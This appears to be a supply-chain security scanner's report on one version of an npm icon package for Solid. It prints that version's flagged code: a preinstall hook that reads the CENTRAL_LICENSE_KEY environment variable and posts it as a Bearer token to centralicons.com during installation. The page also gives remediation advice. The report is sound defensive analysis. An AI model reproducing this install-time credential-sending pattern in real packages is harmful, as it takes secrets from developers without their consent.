registry / Credential exfiltration / @central-icons-solid/square-outlined-radius-0-stroke-2
@central-icons-solid/square-outlined-radius-0-stroke-2
A collection of square outlined Solid icons with 0px radius and 2px stroke width, designed for use in Solid applications.
This report shows the evidence for @central-icons-solid/square-outlined-radius-0-stroke-2@1.1.320. 2 of 28 known versions are blocked or flagged. The newest version, 1.2.20, is allowed. See all versions.
AI Security Review
scanned 1mo ago · by lpm-firewall-aiThe package performs unconsented install-time transmission of an environment credential to a remote service. Its normal icon exports do not justify this credential-harvesting lifecycle behavior.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Installing the package with npm runs its preinstall hook.
Impact
The CENTRAL_LICENSE_KEY is exposed to the package-controlled service during dependency installation.
Mechanism
Install-time collection and remote transmission of an environment credential.
Attack narrative
When npm installs the package, its preinstall hook launches license-check.js. The script requires CENTRAL_LICENSE_KEY from the installing process environment and posts it in an Authorization Bearer header to centralicons.com. The package is presented as an icon library, so this automatic credential transmission is not necessary for importing its icon modules and exposes a potentially reusable secret during installation.
AI rationale
The package performs unconsented install-time transmission of an environment credential to a remote service. Its normal icon exports do not justify this credential-harvesting lifecycle behavior.
Evidence
package.jsonlicense-check.js
Network endpoints1
centralicons.com/license/check
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The preinstall hook automatically runs license-check.js during npm installation.
- The install script reads CENTRAL_LICENSE_KEY and sends it as a Bearer credential to centralicons.com.
- Installation throws when the license environment variable is absent, pressuring users to expose that credential to the hook.
Evidence against
- The declared package exports are Solid icon modules and the manifest has no runtime dependency chain.
- The inspected install script contains no filesystem writes, shell execution, or downloaded-code execution.
Behavioral surface
EnvironmentVarsNetwork
MinifiedUrlStrings
NoLicense
Source & flagged code
6 flagged · loading sourcepackage.jsonView file
•scripts.preinstall = node ./license-check.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg13"scripts": {
"preinstall": "node ./license-check.js",
"build": "node ./build.mjs",
"prepublishOnly": "npm run build",
"lint": "node ./build.mjs"
}
High
Suspicious Lifecycle Evidence
The preinstall hook automatically runs license-check.js during npm installation.
package.jsonView on unpkg · L13license-check.jsView file
•matchType = malicious_source_fingerprint_signature
signature = fd278436d357a415
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = @central-icons-solid/round-outlined-radius-2-stroke-1.5@1.1.316
matchedPath = license-check.js
matchedIdentity = npm:[redacted]:1.1.316
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
High
Known Malware Source Fingerprint Signature
Source fingerprint signature matches a known malicious package signature; route for source-aware review.
license-check.jsView on unpkg1const licenseKey = process.env.CENTRAL_LICENSE_KEY;
High
Ai Review Evidence
The install script reads CENTRAL_LICENSE_KEY and sends it as a Bearer credential to centralicons.com.
license-check.jsView on unpkg · L114const response = await fetch("https://centralicons.com/license/check", {
method: "POST",
headers: {
Authorization: `Bearer ${licenseKey}`,
},
body: JSON.stringify({
package: "central-icons-solid/square-outlined-radius-0-stroke-2",
version: "1.1.320",
}),
High
Ai Review Evidence
The install script reads CENTRAL_LICENSE_KEY and sends it as a Bearer credential to centralicons.com.
license-check.jsView on unpkg · L143if (!licenseKey) {
throw new Error(
"Central Icons license key is not set. Please set CENTRAL_LICENSE_KEY in your environment",
);
}
High
Ai Review Evidence
Installation throws when the license environment variable is absent, pressuring users to expose that credential to the hook.
license-check.jsView on unpkg · L3Findings
6 High2 Medium4 Low
HighInstall Time Lifecycle Scriptspackage.json
HighKnown Malware Source Fingerprint Signaturelicense-check.js
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencelicense-check.js
HighAi Review Evidencelicense-check.js
HighAi Review Evidencelicense-check.js
MediumNetwork
MediumEnvironment Vars
LowNon Install Lifecycle Scripts
LowScripts Present
LowUrl Strings
LowNo License
Affected versions and remediation
This report applies to @central-icons-solid/square-outlined-radius-0-stroke-2@1.1.320.
The versions list below shows the verdict for each recorded version.
- Avoid installing @central-icons-solid/square-outlined-radius-0-stroke-2@1.1.320. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.
Versions
28 known versions1.2.20latestManual Review—AllowUnder ReviewOct 22, 2026, 2:23 PM1.2.19Manual Review—AllowUnder ReviewOct 20, 2026, 1:21 PM1.2.16Manual Review—AllowUnder ReviewOct 16, 2026, 5:10 PM1.2.15Clean—AllowPublishedOct 15, 2026, 9:10 AM1.2.14Clean—AllowPublishedOct 14, 2026, 1:18 PM1.2.13Clean—AllowPublishedOct 13, 2026, 4:13 PM1.2.12Clean—AllowPublishedOct 13, 2026, 10:10 AM1.2.11Clean—AllowPublishedOct 13, 2026, 7:15 AM1.2.10Clean—AllowPublishedOct 9, 2026, 2:10 PM1.2.8Clean—AllowPublishedOct 8, 2026, 9:11 AM1.2.7Clean—AllowPublishedOct 7, 2026, 10:18 PM1.2.6Clean—AllowPublishedOct 7, 2026, 8:37 PM1.2.5Clean—AllowPublishedOct 7, 2026, 9:15 AM1.2.4Clean—AllowPublishedOct 7, 2026, 7:18 AM1.2.3Clean—AllowPublishedOct 5, 2026, 8:11 AM1.2.2Clean—AllowPublishedOct 2, 2026, 7:10 AM1.2.1Clean—AllowPublishedSep 24, 2026, 11:17 AM1.1.326Clean—AllowPublishedSep 23, 2026, 11:13 AM1.1.321Clean—AllowPublishedSep 21, 2026, 12:10 PM1.1.320shownMaliciousCredential ExfiltrationBlockPublishedSep 16, 2026, 7:06 AM1.1.319SuspiciousCredential ExfiltrationWarnPublishedSep 10, 2026, 7:06 AM1.1.318MaliciousCredential ExfiltrationBlockPublishedSep 2, 2026, 8:07 AM1.1.317Clean—AllowPublishedSep 1, 2026, 3:07 PM1.1.316Clean—AllowPublishedSep 1, 2026, 2:10 PM1.1.310Suspicious—WarnPublishedAug 15, 2026, 11:21 AM1.1.306Suspicious—WarnPublishedAug 7, 2026, 2:39 PM1.1.301Clean—AllowPublishedJul 30, 2026, 6:07 AM1.1.291Clean—AllowPublishedJul 5, 2026, 8:07 AM